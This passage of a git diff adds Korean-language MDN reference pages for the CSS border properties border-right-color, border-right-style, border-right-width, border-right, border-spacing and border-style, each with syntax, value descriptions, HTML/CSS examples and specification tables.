+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-right-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-right-color</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 오른쪽 테두리 색상을 지정합니다.</span> {{cssxref("border-color")}} 또는 {{cssxref("border-right")}} 단축 속성으로도 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers  language-css">/* &lt;color&gt; 값 */
+border-right-color: red;
+border-right-color: #ffbb00;
+border-right-color: rgb(255, 0, 0);
+border-right-color: hsla(100%, 50%, 25%, 0.75);
+border-right-color: currentColor;
+border-right-color: transparent;
+
+/* 전역 값 */
+border-right-color: inherit;
+border-right-color: initial;
+border-right-color: unset;
+</pre>
+
+<p><code>border-right-color</code> 속성은 하나의 값을 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>오른쪽 테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리를_가진_간단한_상자">테두리를 가진 간단한 상자</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
+  &lt;p&gt;This is a box with a border around it.
+     Note which side of the box is
+     &lt;span class="redtext"&gt;red&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+  border: solid 0.3em gold;
+  border-right-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리를_가진_간단한_상자')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-right-color', 'border-right-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-right-color', 'border-right-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-right-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-right")}}, {{cssxref("border-color")}}.</li>
+ <li>다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}.</li>
+ <li>오른쪽 테두리 관련 CSS 속성: {{cssxref("border-right-style")}}, {{cssxref("border-right-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-right-style/index.html b/files/ko/web/css/border-right-style/index.html
new file mode 100644
index 0000000000..291595d8d1
--- /dev/null
+++ b/files/ko/web/css/border-right-style/index.html
@@ -0,0 +1,134 @@
+---
+title: border-right-style
+slug: Web/CSS/border-right-style
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-right-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-right-style</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 테두리의 오른쪽 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-style.html")}}</div>
+
+
+
+<div class="note"><strong>참고:</strong> 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-right-style: none;
+border-right-style: hidden;
+border-right-style: dotted;
+border-right-style: dashed;
+border-right-style: solid;
+border-right-style: double;
+border-right-style: groove;
+border-right-style: ridge;
+border-right-style: inset;
+border-right-style: outset;
+
+/* 전역 값 */
+border-right-style: inherit;
+border-right-style: initial;
+border-right-style: unset;
+</pre>
+
+<p><code>border-right-style</code> 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;dotted&lt;/td&gt;
+    &lt;td class="b4"&gt;dashed&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-right-style example classes */
+.b1 {border-right-style: none;}
+.b2 {border-right-style: hidden;}
+.b3 {border-right-style: dotted;}
+.b4 {border-right-style: dashed;}
+.b5 {border-right-style: solid;}
+.b6 {border-right-style: double;}
+.b7 {border-right-style: groove;}
+.b8 {border-right-style: ridge;}
+.b9 {border-right-style: inset;}
+.b10 {border-right-style: outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제', 300, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-right-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-right-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-right-style")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.</li>
+ <li>오른쪽 테두리 관련 CSS 속성: {{cssxref("border-right")}}, {{cssxref("border-right-color")}}, {{cssxref("border-right-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-right-width/index.html b/files/ko/web/css/border-right-width/index.html
new file mode 100644
index 0000000000..60c3a4e564
--- /dev/null
+++ b/files/ko/web/css/border-right-width/index.html
@@ -0,0 +1,150 @@
+---
+title: border-right-width
+slug: Web/CSS/border-right-width
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/border-right-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-right-width</code></strong> 속성은 요소의 오른쪽 테두리 너비를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-width.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값*/
+border-right-width: thin;
+border-right-width: medium;
+border-right-width: thick;
+
+/* &lt;length&gt; 값 */
+border-right-width: 10em;
+border-right-width: 3vmax;
+border-right-width: 6px;
+
+/* 전역 값 */
+border-right-width: inherit;
+border-right-width: initial;
+border-right-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다.0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>thin</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: thin; background-color: palegreen;"></div>
+    </td>
+    <td>얇은 테두리</td>
+   </tr>
+   <tr>
+    <td><code>medium</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: medium; background-color: palegreen;"></div>
+    </td>
+    <td>중간 테두리</td>
+   </tr>
+   <tr>
+    <td><code>thick</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: thick; background-color: palegreen;"></div>
+    </td>
+    <td>굵은 테두리</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리의_너비_비교">테두리의 너비 비교</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Element 1&lt;/div&gt;
+&lt;div&gt;Element 2&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-right-width: thick;
+}
+div:nth-child(2) {
+  border-right-width: 2em;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리의_너비_비교', '100%')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-right-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-right-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-left-width', 'border-right-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-right-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 너비 관련 CSS 속성: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-top-width")}}, and {{Cssxref("border-width")}}.</li>
+ <li>오른쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-right")}}, {{Cssxref("border-right-style")}}, and {{Cssxref("border-right-color")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-right/index.html b/files/ko/web/css/border-right/index.html
new file mode 100644
index 0000000000..557dbeba89
--- /dev/null
+++ b/files/ko/web/css/border-right/index.html
@@ -0,0 +1,109 @@
+---
+title: border-right
+slug: Web/CSS/border-right
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 테두리
+translation_of: Web/CSS/border-right
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-right</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 오른쪽 테두리를 설정합니다.</span> {{cssxref("border-right-width")}}, {{cssxref("border-right-style")}}, {{cssxref("border-right-color")}}의 값을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, <code>border-right</code>는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.</p>
+
+<pre class="brush: css">border-right-style: dotted;
+border-right: thick green;
+</pre>
+
+<pre class="brush: css">border-right-style: dotted;
+border-right: none thick green;
+</pre>
+
+<p>따라서 <code>border-right</code>보다 먼저 지정한 {{cssxref("border-right-style")}}의 값은 무시됩니다. {{cssxref("border-right-style")}}의 기본값은 <code>none</code>이므로, <code>border-style</code>을 명시하지 않으면 테두리를 만들지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">border-right: 1px;
+border-right: 2px dotted;
+border-right: medium dashed green;
+</pre>
+
+<p><code>border-right</code>은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>{{cssxref("border-right-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>{{cssxref("border-right-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>{{cssxref("border-right-color")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div&gt;
+  오른쪽 테두리를 가진 요소입니다.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  border-right: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No direct changes, though the modification of values for the {{cssxref("border-right-color")}} do apply to it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-right")}}</p>
diff --git a/files/ko/web/css/border-spacing/index.html b/files/ko/web/css/border-spacing/index.html
new file mode 100644
index 0000000000..23e0e42018
--- /dev/null
+++ b/files/ko/web/css/border-spacing/index.html
@@ -0,0 +1,131 @@
+---
+title: border-spacing
+slug: Web/CSS/border-spacing
+tags:
+  - CSS
+  - CSS Property
+  - CSS Tables
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/border-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-spacing</code></strong> 속성은 인접한 표 칸의 테두리 간격을 지정합니다.</span> {{cssxref("border-collapse")}}가 <code>separate</code>여야 적용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-spacing.html")}}</div>
+
+
+
+<p><code>border-spacing</code> 값은 표 전체의 테두리에도 적용되므로, 표 테두리와 첫 번째 및 마지막 행/열에 속하는 칸 사이 거리는 (가로/세로) <code>border-spacing</code> 값과 표에 적용한 (상/우/하/좌) {{cssxref("padding")}} 값의 합이 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>border-spacing</code> 속성은 {{htmlelement("table")}}에서 이제 사용하지 않는 <code>cellspacing</code> 특성에 대응하지만, 추가로 두 번째 값을 지정해 가로와 세로 값을 각각 설정할 수 있다는 차이점이 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">/* &lt;length&gt; */
+border-spacing: 2px;
+
+/* 가로 &lt;length&gt; | 세로 &lt;length&gt; */
+border-spacing: 1cm 2em;
+
+/* 전역 값 */
+border-spacing: inherit;
+border-spacing: initial;
+border-spacing: unset;</pre>
+
+<p><code>border-spacing</code> 값은 하나 또는 두 개의 값을 사용해 지정합니다.</p>
+
+<ul>
+ <li><strong>한 개</strong>의 <code>&lt;length&gt;</code> 값을 지정하면 칸 사이의 가로와 세로 두 간격 모두 설정합니다.</li>
+ <li>두 개의 <code>&lt;length&gt;</code> 값을 지정하면, 첫 번째 값은 칸 사이의 가로 간격(각 열의 간격), 두 번째 값은 칸 사이의 세로 간격(각 행의 간격)을 설정합니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>간격의 크기로 지정할 길이입니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="칸_간격과_안쪽_여백">칸 간격과 안쪽 여백</h3>
+
+<p>다음 예제는 칸 사이에 세로 간격 <code>0.5em</code>과 가로 간격 <code>1em</code>을 배치합니다. 표의 테두리를 따라가면서, <code>padding</code> 값이 <code>border-spacing</code>과 어떻게 작용하는지 살펴보세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;1&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;4&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;6&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;7&lt;/td&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">table {
+  border-spacing: 1em 0.5em;
+  padding: 0 2em 1em 0;
+  border: 1px solid orange;
+}
+
+td {
+  width: 1.5em;
+  height: 1.5em;
+  background: #d2d2d2;
+  text-align: center;
+  vertical-align: middle;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('예제', 400, 200) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'tables.html#separated-borders', 'border-spacing') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.border-spacing")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("border-collapse")}}, {{cssxref("border-style")}}</li>
+ <li><code>border-spacing</code> 속성은 {{htmlelement("table")}} HTML 요소의 외관을 수정합니다.</li>
+</ul>
diff --git a/files/ko/web/css/border-style/index.html b/files/ko/web/css/border-style/index.html
new file mode 100644
index 0000000000..70bf9b180d
--- /dev/null
+++ b/files/ko/web/css/border-style/index.html
@@ -0,0 +1,241 @@
+---
+title: border-style
+slug: Web/CSS/border-style
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-style</code> </strong><a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소 테두리 네 면의 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-style.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+border-style: none;
+border-style: hidden;
+border-style: dotted;
+border-style: dashed;
+border-style: solid;
+border-style: double;
+border-style: groove;
+border-style: ridge;
+border-style: inset;
+border-style: outset;
+
+/* 세로방향 | 가로방향 */
+border-style: dotted solid;
+
+/* 위 | 가로방향 | 아래 */
+border-style: hidden double dashed;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-style: none solid dotted dashed;
+
+/* 전역 값 */
+border-style: inherit;
+border-style: initial;
+border-style: unset;
+</pre>
+
+<p><code>border-style</code> 속성은 한 개에서 네 개의 값을 사용해 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 테두리 스타일을 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 테두리 스타일을 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 테두리 스타일을 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 테두리 스타일을 지정합니다. (시계방향)</li>
+</ul>
+
+<p>각각의 값은 아래 목록 중 하나로 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-style&gt;</code></dt>
+ <dd>테두리의 스타일을 설명합니다. 다음 표의 값을 사용할 수 있습니다.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td style="vertical-align: middle;"><code>none</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: none; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;"><code>hidden</code> 키워드와 마찬가지로 테두리를 표시하지 않습니다. {{cssxref("background-image")}}를 지정하지 않았으면 해당 면의 {{cssxref("border-width")}} 계산값은 지정값을 무시하고 <code>0</code>이 됩니다. 표에서, 칸의 테두리 상쇄 시 <code>none</code>은 제일 낮은 우선순위를 가집니다. 따라서 주변 칸이 테두리를 가진다면 테두리를 그립니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>hidden</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: hidden; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;"><code>none</code> 키워드와 마찬가지로 테두리를 표시하지 않습니다. Unless a {{cssxref("background-image")}}를 지정하지 않았으면 해당 면의 {{cssxref("border-width")}} 계산값은 지정값을 무시하고 <code>0</code>이 됩니다. 표에서, 칸의 테두리 상쇄 시 <code>hidden</code>은 제일 높은 우선순위를 가집니다. 따라서 주변 칸이 테두리를 가지더라도 그리지 않습니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>dotted</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: dotted; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;">테두리를 둥근 점 여러개로 그립니다. 점 간격은 명세에서 지정하지 않으며 구현마다 다릅니다. 점의 반지름은 해당 면 {{cssxref("border-width")}}의 절반입니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>dashed</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: dashed; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;">테두리를 직사각형 여러개로 그립니다. 사각형의 크기와 길이는 명세에서 지정하지 않으며 구현마다 다릅니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>solid</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: solid; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;">테두리를 하나의 직선으로 그립니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>double</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: double; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;">테두리를 두 개의 평행한 직선으로 그립니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>groove</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: groove; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;">테두리가 파인 것처럼 그립니다.<code>ridge</code>의 반대입니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>ridge</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: ridge; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;">테두리가 튀어나온 것처럼 그립니다. <code>groove</code>의 반대입니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>inset</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: inset; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;">요소가 파인 것처럼 테두리를 그립니다.<code>outset</code>의 반대입니다. {{cssxref("border-collapse")}}가 <code>collapsed</code>인 칸에서는 <code>groove</code>와 동일합니다.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>outset</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: outset; background-color: palegreen;"> </div>
+    </td>
+    <td style="vertical-align: middle;">
+     <p>요소가 튀어나온 것처럼 그립니다. <code>inset</code>의 반대입니다. {{cssxref("border-collapse")}}가 <code>collapsed</code>인 칸에서는 <code>ridge</code>와 동일합니다.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="속성_값의_예시_표">속성 값의 예시 표</h3>
+
+<p>가능한 모든 값을 나열한 표입니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;dotted&lt;/td&gt;
+    &lt;td class="b4"&gt;dashed&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* 테이블 스타일 */
+table {
+  border-width: 3px;
+  background-color: #52E396;
+}
+tr, td {
+  padding: 2px;
+}
+
+/* border-style 예제 클래스 */
+.b1 {border-style:none;}
+.b2 {border-style:hidden;}
+.b3 {border-style:dotted;}
+.b4 {border-style:dashed;}
+.b5 {border-style:solid;}
